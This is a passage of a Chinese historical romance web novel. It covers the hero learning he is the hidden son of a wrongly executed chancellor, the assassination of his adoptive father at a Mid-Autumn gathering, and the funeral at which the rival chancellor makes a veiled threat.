“后来我进了大理寺，便查了关于方与淮的资料。知道他原本是当朝左丞相，因通敌卖国罪而被抄家斩首。为何我的父亲会偷偷供奉一位罪人的牌位，我曾今也百思不得其解。但是我相信您的为人，您一向做事光明磊落，定不会与罪臣勾结，那就只有一种可能，就是左丞相当年是含冤而死。”
“我还查到，在左相府，他刚出生还未满月的幼子并未找到，至今下落不明。而偏偏这么巧，第二年母亲便生下了我。孩儿便知，我就是那名还未满月的孩子。定是我的生父知道方家即将大祸临头，将我托付给宋家。”
听完宋晏初的一番话，宋怀明再也抑制不住自己激动的情绪，抱着宋晏初嚎啕大哭。
而宋晏初只能任由父亲这样抱着自己，默默流泪。
宋怀明的这个举动，更加证实了，自己上述推断的正确性。
父子俩缓了缓情绪，宋怀明起身走到书架边，按动开关，书架向两边挪开，里面出现一扇门。
宋怀明打开门，带着宋晏初来到里面。
房间不大，正面摆放着一个灵堂，上面放着许多牌位。
摆在正中间的，是方家家主，大宣国前任左丞相方与淮。
而后面一排放着的，是方与淮的妻儿与家眷。
“这是方家所有人的灵位。”
宋晏初看着这些牌位，第一次真真切切地感受切身之痛。
第一次，他误闯进这间房间之时，年纪尚幼，连牌位是何物都不懂。
第二次，他带着好奇，主动打开机关进了房间，看到供奉的牌位，只觉得怪异，但对牌位上的名字十分陌生，他不明白父亲为何要偷偷祭拜此人，但既然是偷偷祭拜，父亲定是不想让任何知晓此事，于是他只能将这份好奇默默藏在心底。
第三次，他在父亲的带领下，正式拜见牌位上的人，并且他已清楚牌位上的人是自己的生父，这里供奉的全是他曾经的家人。
他心中悲痛交加，无法用语言来形容。
“晏初，跪下。祭拜一下你的父亲。”
宋晏初跪在地上，举着三支香，对着方与淮的牌位深深地磕了三个响头，然后起身将香插/入牌位前的香炉中。
宋怀明对着方与淮的牌位说：“与淮兄，今日我带晏初过来祭拜你。如今晏初长大成人，还娶了妻，又在大理寺当值。老夫总算是没有辜负你当年的托付。你泉下有知，也会感到欣慰吧。”
宋晏初站在他旁边，看着自己生父的牌位，问：“当年到底发生了何事？”
“当年的事，我也不是很清楚。我只知道，你的父亲大概是早就预料到方家会有祸事，便一早将还在襁褓中的你秘密托付给了我。说来也巧，你的娘亲当时有孕在身，可体质羸弱的她最后并没有保住胎儿。她本就悲痛欲绝，你的出现真是恰到好处，后来她便视你如己出。没过多久，方家就被冠以通敌卖国之罪，满门抄斩。你是方家唯一的血亲骨肉，断不能有半点闪失，所以我才不希望你参与党争，就是怕你会牵涉其中，有性命之忧。谁想到，偏偏也是这样，反而害你遇到危险，差点丢了性命。”
“但是为父可以用自己的性命作保，你生父品行端正，爱国爱民，是绝对不会做出通敌卖国这样的事来，他定是被奸人所陷害。”
“方才父亲让我不能选和亲王，因为他与害死我方家满门有关。父亲又为何这般确定？”
“当年朝堂之上，你父亲与傅宏逸素来不对付，经常争锋相对。正是他向皇上弹劾你父亲通敌叛国，也是他负责查抄的方家。而傅宏逸正是和亲王一派。”
“傅宏逸？可是如今的左相？”
“正是。你父亲当年的事，傅宏逸定是脱不了干系。”
宋晏初站的笔直，语气异常坚定地同宋怀明承诺道：“今日我在生父面前发誓，我一定要找到当年方家被陷害的真相，来证明我方家的清白，还我方家一个公道。”
宋晏初欣慰地拍了拍他的肩膀，点头道：“好！这才是父亲的好儿子！”
------
从宋怀明那里出来，宋晏初便径直回到自己府内。
天色渐晚，府中人大多已经歇下。
他回到自己的寝室，看到坐在案桌旁，单手撑着额头，正在小憩等他回来的陆思云。
原本心中的阴霾顿时飘散了许多。
无论他在外如何，家里总有一盏烛光是为他而留，总有一个人在等他归家。
他便觉得自己不是孤身一人。
听见声响，陆思云睁开眼，看到他回来，立马起身相迎。
宋晏初看着她走向自己，然后微微上前，拥住她，将脸埋进她的脖颈间。
发觉出他的异样，陆思云下意识地抱住他，轻拍他的后背，柔声问：“发生什么事了吗？”
宋晏初只是沉默地又抱紧了一些，仿佛是想从她身上获取一些能量一般。
察觉出他心情不好，陆思云便不再多问，任由他抱着自己，无声地安慰着。
温存了一会儿，陆思云便伺候他沐浴更衣。
之后两人坐在床上，宋晏初搂着陆思云，将自己在宋怀明那里听到的有关自己身世的事全都告诉了她。
起初听到时
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，陆思云还是很震惊的。
毕竟宋晏初竟然不是宋怀明亲生的这件事，此前并没有半点风声和传闻。
但是转念一想，方家惨遭陷害，满门抄斩，宋晏初在这世上已没有真正的血缘至亲，这大概就是他今晚感到难过的地方吧。
“父亲待我如亲生儿子一般疼爱教导，母亲在世时也对我视如己出，使我从小就生活在完整的家庭中，无忧无虑。想不到，我亲生父母居然惨死。虽然我此前对自己的身世有所怀疑，暗自调查过，但从未在从父亲那里证实过。如今从父亲的口中亲耳听到，我内心觉得忧愤难耐。”
“夫君心中的苦楚，我能理解，我发觉其实我们很像。”
宋晏初低头看她，有些不解。
“我从另一个世界而来，在这里我也是一个人。虽然我有父亲母亲，待我也如亲生父母一般。可他们终究是楚星然的父母，不是我陆思云的父母。在这个世界，我也是孤身一人。而你，血亲惨遭陷害，在这世上，也再无至亲之人。”
听她这样说，宋晏初忍不住道：“你还有我。”
陆思云抚上他的脸颊，笑着说：“这也是我想对你说的。虽然我们都是独身一人，可你还有我，还有公公，还有莫姐姐，我们大家都会陪在你身边，与你一同面对未来的任何困难。”
“未来我们还会有孩子。我们会一起抚养他长大，教他做人做事的道理，我们还有很多很多事要做。”
“你说的没错。斯人已逝，我们要往前看，要珍惜眼前之人。只不过方家冤死，我作为方家遗孤，一定要为方家沉冤得雪。”
“只要你想做的事，无论何事我都会支持你。”
宋晏初心中很是感动，他搂紧怀中的人，真真切切的觉得，自己不是孤身一人。
陆思云靠在他怀中，感受他胸口强有力的心跳，感受着他身上的体温，觉得这一刻他们的心是靠在一起的。
往后余生，他们都会这样相依相靠。
“马上就要到中秋佳节。中秋是团圆的节日，我想请公公来府上一起过节，聚一聚，热闹热闹，夫君意下如何？”
“我也正有此事。”
“哦？”陆思云抬头看向他，等着他继续说。
“自从我成亲搬出去之后，府中只剩下父亲一人。今日我回父亲的府邸，府中甚为冷静。他虽不是我的亲生父亲，但待我如亲生一般教导我、抚养我长大，我同样敬他爱他，养育之恩不敢有一丝遗忘。如今看他年事已高，独居府中，我又鲜少回去探望他老人家，作为儿子心中十分惭愧。”
“这好办，以后我们带着莫姐姐一起经常回去探望他老人家便是了。我就怕他以后去多了嫌我们太过呱噪呢。”
宋晏初被她的话逗笑了，他宠溺地揉着她的头发，在她的额前轻轻印上一吻。
他倒是对陆思云的话没有半点怀疑，以她的性子，要是不约束，定是能上房揭瓦的主儿。
但也正是这份天真果敢，深深地吸引了他。
54.第 54 章
中秋佳节，正是家人团聚的时节。
这是陆思云来到这个世界，过得第一个中秋节。
不知不觉，她来到这里已经快一年了。
在这一年中，她有了家人、姐妹和爱人，也实现了自己的梦想抱负，成就了一番自己的小事业。
可谓是丰收满满的一年。
今年的中秋节，正如她向宋晏初说的那样，邀请了宋怀明来府上一起过节。
这是她和莫婉晴一起商量之后决定的。
宋怀明自然非常高兴，一个人坐着马车就过来了。
府里好久没这么热闹过了，莫婉晴特意准备了许多灯笼、月饼及茶水，一会儿用过晚膳，供大家在院子里赏月用。
正当她忙得不可开交之时，门口出现了一个人，让她的脚像是被钉在地上，无法动弹。
为什么，陆琛会出现在门口？
陆琛也觉得诧异，为何莫婉晴见到自己如此惊讶。
难道她不知道今日自己也被受邀来此么？
正当两人不明所以，大眼瞪小眼的时候。
陆思云从后面小跑过来，对着陆琛笑嘻嘻地说：“陆大人，您来啦，里面请。别在门口傻站呀！”
莫婉晴转过头，惊讶地看着她：“是妹妹邀请陆大人今晚来府上做客的么？”
陆思云一副理所当然的表情点点头：“对呀。我们与陆大人在华县一起救灾，已经是过命的矫情。今日这般良辰美景，必定要叫上几个朋友一起才热闹嘛。”
两人这才明白，原来是陆思云自作主张，没知会一声莫婉晴，便擅自做主邀请了陆琛。
“妹妹应该提前同我知会一声，我好安排陆大人的位置。”
“没事的姐姐，反正家里人也不是特别多，挤一挤总是有位置的，陆大人快进屋吧。”
来都来了，陆琛只能硬着头皮进了宋府。
陆思云跟在莫婉晴后面，小声同她道歉：“对不起姐姐，我擅自做主喊陆大人来府上。我只是觉得这中秋佳节正是亲人团圆的日子。陆大人孤身一人也怪可怜的，就叫了他。此事我也同夫君商议过了，他也是同意的。其实我也是有私心的，我以为这样的日子，你会想见他。”
莫婉晴停下了脚步，转头看向她，眼神中有无奈又有感激。
“妹妹的心意，姐姐心领了。只是以后如果还有这样的事发生，希望妹妹可以提前告知我一声，好让我提前有个准备。”
见她并未生气，陆思云立刻笑着卖乖答应。
宋晏初见到陆琛，并未惊讶，甚至于他早就在等着他的造访。
“陆大人，恭候多时了。”
“宋大人，今日打扰了，多谢你的邀请。”
两人寒暄完，宋晏初便邀请他落座。
宋怀明看着眼前两位年轻人，欣慰地点点头。
宋晏初为何与陆琛突然冰释前嫌，他已经听儿子详细说给自己听了。
原本他对锦衣卫便没什么不满，为皇上办事，做事狠绝本就是锦衣卫的作风，与人无关。
宋怀明举起酒杯，对陆琛说：“陆大人，听闻在华县，你多次出手帮晏初，甚至还舍身救了婉晴的性命，我在这里敬你一杯，感谢你之前对我儿的照拂。”
陆琛也举起酒杯，恭敬地回：“宋老您客气了。”
然后二人将酒一饮而尽。
宋晏初也借此向陆琛敬酒：“陆大人，我也应该敬你一杯，谢谢你救了婉晴一命。”
“宋大人言重。之前你的两位夫人已经特意上门拜谢过了。”
陆思云看着他们你敬我，我敬你，净说些客套话，忍不住抱怨：“今日是团圆的日子，我们在座的就不要再这么客套了好不好。都随意一些，轻松一些，不好吗？为何非要把官场的那一套搬到家里呢，实在是无趣得紧。”
如果是以前的宋晏初，听到她这样说，肯定又会骂她成何体统。
但如今，他早不是原来的那个刻板的宋晏初。
而他们之间，也早就跟原来不同。
宋晏初笑着赞同：“夫人说得对。今日在座的，有家人也有朋友，都是宋某最亲近之人，都无需多礼了。”
“好好好，我也好久没这么开心热闹过了，大家随意，大家随意！”宋明怀也忍不住赞同道。
桌上的氛围再一次变得热闹了起来。
在这热闹的氛围之下，莫婉晴和陆琛便显得安静许多。
他们俩都含笑看着陆思云在桌上说笑吵闹，沉浸在别人的快乐之中。
偶尔的眼神交汇，都是看到对方带着笑意，自己也会跟着高兴气来。
其实今天能在府里见到陆琛，莫婉晴是高兴的。
无论是何时何地，能见到他，自己都是欢喜的。
哪怕他们必须保持距离，必须恪守本分，必须说话恭敬，但只要能见他一面，便已很知足。
别的，不敢再有奢求。
陆琛今日能受邀前来，心里同样也很高兴。
曾经他从来不会在意过节，什么日子对他来说都一样。
而他府上什么时候都是冰冰冷冷，没有一丝儿人气，更别说是过节的氛围。
他从未感受过“热闹”。
所以今夜对他来说很新鲜，也有些不适。
但莫婉晴就坐在对面，只要他一抬眸就可以看到她。
陆琛便觉得，这样也挺好。
哪怕不适应这么吵闹的环境，只要能够远远地看着他，自己便已知足。
用完了晚膳，大家一起来到院中。
莫婉晴已经提前准备好了月饼和茶水，方便大家在月下赏月品茶。
方才用膳时的欢快氛围一直延续到了赏月环节。
有陆思云这样一个话多又活泼的开心果在，气氛永远都不会有冷下来的可能。
刚坐下，陆思云便随手拿起一块莲蓉味儿的月饼放进口中，月饼入口即化，比现代的月饼要爽口许多。
她忍不住又拿了一个。
宋晏初看到，立刻叮嘱：“少吃一些，方才你用膳时就吃了不少，当心积了食，一会儿该不舒服了。”
宋怀明看着自己的儿子如此关心夫人，心中很是欣慰。
他一直觉得自己的这位儿子太过冷静，自小便没什么情绪波动，他还担心这孩子怕不是有什么隐疾。
后来到了儿子成年以后，他便觉得宋晏初这天生的淡定从容，就是适合在大理寺里当值。
虽然他这样的性格适合为官，但宋怀明却担心他没办法同人正常交往，
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特别是对自己的妻子。
他很早就听闻，晏初同两位妻子相处的都不大顺利，让他一度很担心，怕自己老了都抱不到孙子可如何是好。
如今看这小子这么会关心夫人，自己也便放心了。
今夜的月亮，又大又圆，像个白玉盘子似的挂在天边。
一群人坐在星空之下，吹着初秋微凉的微风，喝着茶吃着月饼，甚是惬意。
“此情此景，不如我们来对诗如何？”宋晏初突然提议道。
“甚好。”莫婉晴笑着答应。
这样的情景之下，确实让人很想吟诗一首，来抒发一下自己此刻的心情。
但是这个提议却遭到了陆思云的强烈反对：“不好不好！你们这不是欺负人么。知道我自小没读过什么诗词歌赋，哪儿会什么吟诗啊，这不是纯纯地为难我一人吗？”
她的话顿时逗笑了在场所有的人。
宋晏初宠你地看着她，耐心地问：“那你说，我们做些什么好呢？”
“不如……我们来说说，我们各自的理想，如何？”
“理想？”
“对啊，如果你不是大理寺少卿，你想做什么？”
这个问题宋晏初从未想过，他不禁皱眉苦想。
“莫姐姐呢？如果你不是内阁大学士之女，不是大理寺少卿的大夫人，你想做些什么呢？”
“我？”莫婉晴愣住，也开始沉思。
见他们都沉默不语，陆思云便自告奋勇地回答：“既然你们都没答案，那就让我先来回答好了。如果我不是现在的我，那么我便想要游山玩水，走过大宣国的每一块土地，爬过每一座山风。甚是于，我想走出大宣国，去外面的世界看看是什么样儿的。难道你们都不好奇么？”
所有人看着她，脸上都是迷茫的神情。
他们早就习惯圈在这个国家，为守护这一方国土，献上自己的整个人生。
从未想过，有朝一日，要出去走一走。
“如果我不是内阁大学士之女，不是大理寺少卿的大夫人。如果我只是我，那么……我大概会成为一名女大夫，救死扶伤，为百姓治病。”
在陆思云的鼓动下，莫婉晴缓缓地说出了自己心中之想。
原来，这就是自己一直想要做的事。
原来，这就是自己一直藏在心底的理想。
莫婉晴在这一刻，突然心里清澈了起来。
陆琛看着她，眼底带着欣赏。
他回想起自己在华县受伤时，她镇定自若地撕开自己的裙子，为自己做紧急治疗时候的模样，一直萦绕在他的心头，久久无法忘怀。
听了莫婉晴的话，陆思云又转过头去看宋晏初，眼神里充满了期待。
在她期待的眼神下，宋晏初只能开口：“我没什么别的想做的事。如果我不是我，也许我还是会选择进大理寺，为天下百姓伸张正义。”
“那很好啊，你现在所做之事就是你的理想，这不是再幸运不过了吗？”
宋晏初回头看着她，继续说：“不过，方才听你说了，想要游山玩水，走遍天下，似乎也很肆意快活。”
“那等你致仕后，我们可以一起走遍江湖。”
我先陪你完成肩上的使命，你再陪我逍遥自在。
55.第 55 章
陆思云又看向一旁的陆琛，笑着问：“陆大人，你呢？”
陆琛知道自己也逃不过被追问，淡淡地道：“我没什么想做的，活在当下，做好自己的本分之事，就是我的愿望。”
“切，真是无趣。”
陆思云如今对陆琛已经没有半点惧怕之色。
面对她的嫌弃，陆琛也不恼，而是低头看着手中的茶杯，淡笑不语。
莫婉晴看着他，虽然今日中秋佳节，大家齐聚一堂，热热闹闹，好不快乐。
可是她总觉得陆琛周身都散发着淡淡的孤寂，他融不进热闹的环境，或者说他也不允许自己太过沉溺于眼前的喧闹中。
也许是他的职业所致，他总是强迫自己时刻保持冷静。
他也不明白自己为何要这般，就像他所说的，他没有别的想做之事，仿佛他生来就是皇帝的刀。
刀是不需要感情的，是冰冷的。
想到此处，莫婉晴的胸口莫名被揪住了一般，微微难受。
宋怀明看着身边的年轻人们，听着他们谈论着理想、想做之事，仿佛被他们所感染。
“好！我作为这里年纪最长的人，看到你们年轻人有拼劲，有志向，我很欣慰。大宣国有你们这帮有鸿鹄之志的人在，一定可以延续如今的繁荣昌盛之势。今日佳节，明月当空，老夫以茶代酒，祝愿各位都能得偿所愿。”
陆思云立刻举起茶杯，附和道：“公公说得极是，希望在座的我们，都能够得偿所愿。”
众人举杯，带着美好的心愿饮下手中的茶。
气氛刚刚好之际，突然一阵杀气袭来。
宋晏初和陆琛脸色立刻聚变。
突如其来的危险，让所有人全都猝不及防。
“大家快散开！”陆琛一声怒吼，迅速拔剑起身，将莫婉晴护在身后。
陆思云还没反应过来，周围就传来刀光剑影，宋晏初在她旁边已经开始跟黑衣人拼杀。
还有完没完啦？
这帮杀手们，中秋佳节都不休息的吗？都不用过节的吗？
但陆思云很快便没办法思考这些有的没的，也很快陷入了厮杀中。
在交手的过程，宋晏初觉察出这帮人武功数很陌生，并不是和亲王的手下。
那么这些人到底是谁派来的？
正当他愣神之际，突然听见旁边一声吼叫：“晏初！”
然后他还未反应过来，就有人扑倒他面前，紧接着眼前便是鲜红的血液飞溅而出。
他下意识地抱住怀里的人。
待他看清楚怀中之人是谁时，他脑中一片空白。
“父亲！！！”
有陆琛在，团体的战斗力一下子就提高了许多，几个杀手没过多久就全都被他们干掉。
然而，所有人听见宋晏初这一声悲痛的喊叫声，这才注意到不对劲。
他们立刻扔下手里的武器迅速跑过来。
看到宋怀明无力地躺在宋晏初的怀中，胸口一个大窟窿正在不断往外涌出鲜血。
“老爷！！！”
“公公！！！”
大家见状全都围了过去。
“怎、怎么会这样……”陆思云不敢相信眼前的情景。
宋怀明躺在儿子怀中奄奄一息，他用尽生命所有人听见着一声悲痛的喊叫，全都迅速结束手里的战斗。的最后一丝力气，握住他的手，断断续续地说：“我……我这辈子……最高兴的事，就是……就是有你……这么好的儿子。我……我要下去陪你娘亲了……不要难过。孩子……好好地活着……为我……也为了方家。你的使命……切莫……切莫忘记……为父……为父以你为……为荣……”
念完最后一个字，大理寺卿宋怀明，终于垂下了手，闭上了双眼，离开了这个世界。
“父亲！！！”
宋晏初抱着父亲还有余温的身体，久久不愿放开。
陆思云在旁边看着他，感受着他的悲痛，自己也跟着感同身受。
她清楚宋怀明对他有多重要。
虽然他们并没有血缘关系，但他却待宋晏初如亲生父亲一般，给了他一个温暖的家，让他从未失去过父爱和母爱。
如今唯一对他好的长辈也为了保护他而离开。
在这与家人团聚的节日里，宋晏初失去了他的家人。
这让他如何能承受这样的悲痛。
一连几日，宋府上下都死一半的沉寂。
宋晏初将自己关在书房里，不吃也不喝，已经好几天了。
陆思云和莫婉晴非常着急，但又不知该如何相劝。
“妹妹，我们必须让夫君尽快振作起来。公公的丧事还没办，还有很多事都要等着他出面主持大局。”
莫婉晴拉着她的手，焦急地说。
陆思云也知道，再这样放任他这样下去不是个办法。
她也很希望宋晏初可以尽快振作起来。
但是她们毕竟都是局外人，没人能够轻描淡写地对他说出“人死不能复生，看开点，活着的人要继续往前走”这样的话。
宋晏初困在自己的书房，这几天他把与宋怀明相处的点点滴滴全都回忆了一遍。
在他的心中，宋怀明并不是一个严厉的父亲，虽然平时经常不苟言笑，但是每次与他说话，看他的眼神，都是温柔的，而母亲也一直对他温柔以待。
所以自己的童年十分幸福，母亲在家教他写字读书，父亲得闲时会教他下棋。
后来随着他年纪增长，到了读书的年纪，宋怀明便为他找先生教他诸子百家、诗词歌赋。
在他的心中，父亲一直是他学习的榜样，是他努力的目标。
他想起宋怀明临死前对他说的话，他说有他这样的儿子他感到自豪。
自己又何尝不是因有他这样一位公正廉明，正直端正的父亲而感到骄傲。
然而，这样好的父亲，如今却不在了。
这是宋晏初第二次体会失去亲人的痛苦。
母亲去世的时候，他还是少年，虽然伤心，但有父亲陪在身边，陪着他一起度过那段痛苦的岁月。
他知道，母亲的去世父亲也很难过，只是为了鼓励他，为了陪他走悲痛，他并未将他的苦楚表现出来。
不然为何他后来再未续弦，偶尔露出书房他还会看到父亲看着母亲的画像出神。
想到这里，宋晏初觉得他快痛得无法呼吸。
现在他失去了父亲，沉浸再悲痛中无法自拔，又会有谁能陪他再一次走出失去至亲的痛苦呢？
陆思云小心翼翼地打开书房的大门，轻轻的走进书房。
她将一碗银耳莲子羹放在案桌上，轻声道：“夫君，你已经三天没吃过东西了……”
听见她的声音，宋晏初抬起头，看向她。
从他的眼中，陆思云看到了悲痛、无奈、愤恨以及……无助。
他需要她。
她立刻红了眼眶，走到他面前，将他搂在自己怀中。
两个人一个站着，一个坐着。
宋晏初将脸埋进她的怀中，双臂拥住她的腰。
陆思云从他微微颤抖的肩膀察觉出他的脆弱。
她只是用力抱紧他，陪着他一起落泪。
等二人抒发完情绪，陆思云捧着他的脸，看着他通红的双眼以及瘦削的脸颊，心疼地说：“我知道你很难过，我们都很难过。但是现在最要紧的是要尽快让公公入土为安，你说是不是？”
宋晏初闭上双眼，任由眼泪从眼角留下，然后无声地点点头。
-----
宋府办丧事，许多
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当朝官员前来吊唁。
作为家主，宋晏初披麻戴孝，与两位妻子，站在大厅，对前来吊唁的人鞠躬表示谢意。
对于宾客惋惜与安慰之语，宋晏初面无表情，沉默不语，照单全收。
“左相傅宏逸，傅大人前来吊唁。”
听见“傅宏逸”三个字，宋晏初抬起头，看着他穿着一身深棕色衣袍，面色沉重地缓缓朝着这里走来。
他走到灵位前，接过下人递过来的香，恭敬地举过头顶，鞠躬三下，然后将香插/入鼎内。
接着，他老泪纵横，悲痛万分地对着宋怀明的棺材哭喊道：“宋公，我们同朝为官数十载，没想到你竟被人所害，先我而去，老朽实在是悲痛万分啊，你一路走好。”
宋晏初缓缓地从跪垫上站起来，一瞬不瞬地死死盯着他。
脸上隐隐染上怒气，放在身侧的双手紧紧握住了拳头。
傅宏逸跪拜完，起身整理了一下衣袍，摸了摸脸上的泪水，走到宋晏初面前：“贤侄节哀顺变，人死不能复生，千万要想开一点。”
宋晏初盯紧他，几乎是咬牙切齿地回道：“多谢左相前来吊唁家父。”
傅宏逸一改方才那副“猫哭耗子”的模样，伸手拍了拍宋晏初的肩膀，小声地在他耳边说道：“希望贤侄能向你父亲那样，永远都公正严明，不惧权贵。只不过到时候，贤侄的下场，不知道会不会跟令尊一样……”
宋晏初听了，脸色聚变。
他早就猜到，昨夜刺杀他们的人，是傅宏逸派来的。
如今他同自己说这番话，让他更加确定自己的猜测。
胸口突然燃起了一把火，仿佛要将他烧死。
他怒不可歇，恨不得现在就杀了眼前之人。
陆思云见他情况不对，立刻上前半步，不动声色地拉住他的手臂，暗暗用力，提醒他切莫轻举妄动。
莫婉晴连忙也上前对傅宏逸说：“傅丞相，这边请。”
见傅宏逸离开，宋晏初原本握紧的拳头这才松了下来。
但心中的愤懑依旧没有半点减弱。
他这才明白，父亲的死，绝非偶然。
傅宏逸除掉父亲，大理寺卿的位置便会空出，到时候和亲王再举荐自己人，这样三法司内边有了他们的党羽。
而他也能除掉父亲这个对手，真是一箭双雕。
宋晏初在心中无能狂怒到想要发笑，原来自己当初教给和亲王的那一招，如今却被原模原样地用在了自己身上。
而父亲却成了那个牺牲的对象。
真是自作孽不可活。
宋晏初陷入无穷无尽的后悔之中，恨不得杀了自己。
陆思云并不知道宋晏初心中所想。
但从他对傅宏逸的态度，她推断宋怀明的死，肯定跟傅宏逸脱不了干系。
晚上守灵时，宋晏初跪在灵位前，腰板笔直，一动不动，仿佛像一座石像。
陆思云看着他坚挺的背影，心中百感交集。
莫婉晴走过来，拍了拍她的后背，道：“你去陪陪夫君吧。我想此时此刻，他很需要你的陪伴。”
陆思云转头看向她，看到她眼中鼓励的眼神，默默地点点头，然后迈步朝着灵堂走去。
莫婉晴看着她的背影，抬手轻轻将眼角的泪水拭干。
宋怀明的离世，她也非常难过。
但是她也清楚，自己的难过与宋晏初比起来，微不足道。
而此时，作为大夫人，她能做的也只是将家里的一切事务都打点好，将丧事办好，让她的夫君可以尽可能地释放自己的丧父之痛。
她也明白，这份悲伤，只有陆思云可以陪着一同难过，他也只需要她陪着。
所以莫婉晴只能默默的陪在他们身后，帮衬着他们，守护着他们。
56.第 56 章
今晚，注定是个不眠之夜。
莫婉晴处理完最后一点事，安排下人们当班的当班，休息的休息，轮班的轮班之后。
已经累得全身酸痛。
但是她却不能去休息，宋晏初和陆思云还在守灵，她又如何能独自去休息。
可她又想要给他们二人空间，也许他们需要说一些体己话，自己在旁边，反而会妨碍他们。
无处可去的她，只能在府内踱步，以此来驱散身上的寒意和困意。
她踱步到宋府门口时，隐约看到门口站着一个人影。
莫婉晴狐疑，这么晚了，谁还会在那里呢？
她走出门，看到陆琛站在门外。
“陆大人？”莫婉晴惊唤道。
听见声音，陆琛转过身，见了她，脸上露出些许柔和。
“这么晚了，你怎么在这里？”
“过来看看。你……还好吗？”
陆琛见她满脸倦容，知道这几日为了宋怀明的丧事，她一定劳心劳力，没有时间好好休息。
听到他这句带着关心的询问，莫婉晴突然觉得眼眶微酸。
这几日，府中上下都沉浸在悲痛中，她作为府中掌事之人，虽然心中难过，但她还是必须强撑着，让自己出面处理很多事。
如果所有人都沉浸在悲痛中无法自拔，那眼前这些琐事正事又该如何应对。
但她终究是个有血有肉的人，事情忙完，人空闲下来，心中的忧伤便像泉水一样倾泻而下。
所以，当她听到陆琛这样问自己的时候，她没能忍住，落下了眼泪。
见她落泪，陆琛立刻走过来，他伸手想碰触她，可手伸到一半又缓缓地收回。
他们之间，终究是没办法越雷池半步。
“我知道你一定很难过，所以过来看看你。”
“谢谢你。”
“要不要，一起出去走走？”陆琛提议道。
莫婉晴看了一眼灵堂的方向，此时陆思云陪着宋晏初，应该没什么大问题，于是便点头答应。
此时已经是深夜，街上无空一人，安静得听不到任何声音，只有偶尔的虫鸣与两人鞋底摩擦路面的声音。
陆琛本就不是一个话多的人，莫婉晴也不需要他说什么，她只需要他做一个倾听者便可。
“我记得我第一次见到公公的时候，是小时候，他带着夫君来府上做客。在我的印象里，他虽然不苟言笑，但却是一个明事理，为人正直之人。正是因为他为人刚正不阿，才能一直担任着大理寺卿这样的职位。这一点，夫君很像他。而公公也一直很疼爱夫君，虽然旁人看不出，觉得他们父子俩都是性子冷，话不多的人，但是其实他们父子俩关系比常人想的还要好。夫君很尊重公公，公事上的事也经常会像公公请教，而公公也会毫无保留的将自己的经验传授给他。所以，公公的死，对夫君的打击一定很重。”
陆琛安静地听着她说着自己的家事，虽然心中酸涩，但他本就是想来陪着她，只能默默地听着。
“既如此，今夜你怎没有陪在他身边一起守灵？”
“按理说，作为大夫人，我是应该陪在左右的。只是我想，这种时候，他更需要的应该是星然妹妹的陪伴。我在旁边，反而显得有些多余。”
陆琛突然停下脚步。
莫婉晴也跟着停了下来，一脸莫名地看向他。
“此时说这些也许有些不合适，但是我还想是问你，之前你同我说，宋大人和二夫人两情相悦。那你呢？”
“我？”
“他们既然两情相悦，那日后你们三人一起生活，你要如何自处？遇到任何事，都要像现在这样，将空间留给他们，而你却一个人默默退出么？”
“他们二人两情相悦，我替他们感到高兴。将空间留给他们，我也是心甘情愿，并没有任何不满。”
她越是这样说，陆琛便越是心疼。
他忍不住朝她走近了几步。
莫婉晴注意到了，却并未因他的靠近而后退。
“我只是不希望你受委屈。”
莫婉晴不由自主地笑了，眼眶的泪终于支撑不住流了下来。
其实她一点都不觉得委屈，她有家，有姐妹，也有爱的人，会关心她，担心她是否会受委屈，时时刻刻想着自己，她已经很知足。
“陆琛，我过得很好，你用担心我。公公的去世，让我明白，我们每个人生来就有责任。夫君的责任是主持这世间的公道，你的责任是一心一意效忠皇上。而我的责任，就是照顾好我的家人，让他们可以专心做好自己想做的事，所以我不觉得委屈。”
“可你那天明明说，自己想学医。”陆琛目光灼灼地看着她，下结论：“你并不适合关在内宅。”
深宅内院锁不住你，你值得天高海阔自由飞翔。
“可是那天的前提是，我就是内个大学士之女，也不是大理寺少卿的大夫人。”莫婉晴紧紧地盯着他，认真地说：“可我现在，两者都是。”
所以她不能任性妄为，既然身负枷锁，就必须负重前行。
见他神情有些失落，莫婉晴继续说：“谢谢你，今晚过来陪我谈心。”
陆琛抬眸看她。
“其实我今天确实心情不好，不只是因为公公的离世。家里正在办丧事，我操持着这个家的里里外外，忙起来还不觉得什么，可人一闲下来，心里就觉得烦闷。你来了，正好可以听我说说话，我现在已经觉得舒服了许多，感觉又有力气去面对接下来的琐碎事情了。”
中秋节那日，看着宋怀明死在宋晏初的怀里，看着他们一家人围在一起悲伤哭泣，陆琛心中也十分难受，自己未能帮上忙救下宋老而深感悔恨，又觉得他一个外人，在那里太过突兀，于是便悄无声息地独自离开。
宋府所有人都沉浸在悲痛中，并未察觉他的离去。
知道这些日子宋府事情多，她必定繁忙，虽然心中牵挂，却不敢去看她，怕落人口实。
今日听闻宋府开丧，他借着吊唁来府上，看到他们三人跪在灵堂里，身着白衣，而他这个局外人，却只能上前行礼，然后慰问两句，便离开。
回到自己府上，陆琛心绪不宁，横竖也是睡不着，他便又去了宋府。
去了却只能现在门口。
他找不到进去的理由。
于是他站在门外，与她一墙之隔，陪着她。
现在听到她说因为自己的出现，心情好了许多，陆琛的心里是欣慰的。
也许他们注定要这样远远相望，那就让他们彼此现在自己的位置上，相互鼓励，默默守护，这样就很好了。
这样他就满足了。
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另
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一边，陆思云陪在宋晏初身边，一动不动地跪坐在灵堂内。
宋晏初心疼她：“思云，你先回去休息，这里有我一人便可。”
陆思云却坚决地摇头：“我陪你，以后无论发生什么事，我都要陪着你。”
宋晏初牵起她的手，说：“我已经没事了，你不用担心我。就算我再难过，父亲都不会起死回生。我现在要做的，就是将父亲的丧事办完，然后抓住杀死父亲的凶手，严惩不贷。”
陆思云看着他脸上狠厉的神情，眼中充满着恨意，心中有些隐隐地不安。
“杀害公公的凶手，你心中可是眉目了？”
宋晏初沉默不语，他不想把思云牵扯进来。
这一路走来。他已经让她陷入过太多次危险中。
也为此受了伤，差点丢了性命。
如今有人三番两次想要置他于死地，而他也因此失去了父亲。
如果再失去自己的挚爱，他不知道能否承受得住。
陆思云并不知道他心中的胆怯。
她还在认真分析着：“我白天看到你跟那左相不对付，难道……那天的那些此刻，是他派来的？”
宋晏初愣住。
一直都知道她观察敏锐，却不想敏锐至此。
见他不说话，陆思云便知她已经猜对，她继续说：“他为何要这样做？难道左相是和亲王的人？”
“和亲王一直对三法司没有他的人耿耿于怀。除掉我或是父亲，他就可以安排自己的人取而代之。”
陆思云这才恍然大悟，她义愤填膺地咒骂：“朗朗乾坤，居然还有这样猖狂之徒！实在是可恶至极！”
宋晏初握紧自己的拳头，眼里迸射/出凶狠的光：“我一定会让他们付出代价。”
